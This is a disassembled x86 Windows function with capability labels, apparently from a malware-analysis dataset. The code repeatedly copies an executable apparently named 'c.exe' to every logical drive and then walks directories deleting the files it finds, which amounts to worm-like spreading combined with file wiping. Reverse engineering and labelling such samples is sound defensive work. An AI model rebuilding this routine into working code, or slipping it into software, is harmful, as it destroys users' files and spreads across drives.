Function at 0x402120
Capabilities:
Copy file
Delete file
Enumerate files on windows
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x794
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [str.c.exe]
push ebx
push esi
push edi
mov dword [ebp - 0x794], eax
mov ax, word [0x405350]
push 0x103
mov word [ebp - 0x790], ax
lea eax, [ebp - 0x123]
push 0
push eax
mov dword [ebp - 0x78e], 0
mov byte [ebp - 0x124], 0
call sub.VCRUNTIME140.dll_memset
push 0x95
lea eax, [ebp - 0x1bb]
mov byte [ebp - 0x1bc], 0
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push 0x103
lea eax, [ebp - 0x2bf]
mov byte [ebp - 0x2c0], 0
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push 0x103
lea eax, [ebp - 0x3c3]
mov byte [ebp - 0x3c4], 0
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
add esp, 0x30
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
nop
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x644]
push eax
push 0x405354
call esi
mov esi, eax
lea eax, [ebp - 0x644]
push eax
push esi
call ebx
test eax, eax
je 0x402223
nop dword [eax]
push dword [0x4082c8]
lea eax, [ebp - 0x618]
push eax
call fcn.00401af0
add esp, 8
lea eax, [ebp - 0x644]
push eax
push esi
call ebx
test eax, eax
jne 0x402200
push 0x4083f0
push 0x400
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
cmp byte [0x4083f0], 0
mov ebx, 0x4083f0
je 0x4022b0
lea edx, [ebp - 0x20]
mov ecx, ebx
sub edx, ebx
nop dword [eax + eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x402250
lea edx, [ebp - 0x794]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402265
lea edi, [ebp - 0x20]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402272
mov ecx, edx
lea eax, [ebp - 0x20]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0
mov ecx, edx
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0x4082d0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, ebx
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4022a0
sub ecx, edx
inc ebx
add ebx, ecx
cmp byte [ebx], al
jne 0x402241
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea eax, [ebp - 0x504]
push eax
push 0x40535c
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
lea ecx, [ebp - 0x504]
push ecx
push eax
mov dword [ebp - 0x788], eax
call ebx
test eax, eax
je 0x4021d0
cmp dword [ebp - 0x504], 0x10
jne 0x402465
xor ecx, ecx
mov al, byte [ebp + ecx - 0x1bc]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x125], al
test al, al
jne 0x4022f1
lea edx, [ebp - 0x4d8]
mov esi, edx
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x402310
lea edi, [ebp - 0x124]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402320
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x124]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x2c1], al
test al, al
jne 0x402340
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x124]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x3c5], al
test al, al
jne 0x402360
lea ecx, [ebp - 0x2c0]
dec ecx
nop dword [eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x402380
mov eax, dword [str..]
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ecx], eax
mov al, byte [0x405364]
mov byte [ecx + 4], al
lea eax, [ebp - 0x784]
push eax
lea eax, [ebp - 0x2c0]
push eax
call esi
mov ebx, eax
lea eax, [ebp - 0x784]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x40245f
nop word [eax + eax]
xor eax, eax
mov cl, byte [ebp + eax - 0x3c4]
lea eax, [eax + 1]
mov byte [ebp + eax - 0x125], cl
test cl, cl
jne 0x4023d2
lea edi, [ebp - 0x124]
dec edi
nop
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x4023f0
mov ax, word [0x405368]
lea edx, [ebp - 0x758]
mov word [edi], ax
mov esi, edx
nop dword [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x402410
lea edi, [ebp - 0x124]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402420
mov ecx, edx
lea eax, [ebp - 0x124]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x784]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4023d0
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
lea eax, [ebp - 0x504]
push eax
push dword [ebp - 0x788]
call ebx
test eax, eax
jne 0x4022e2
jmp 0x4021d0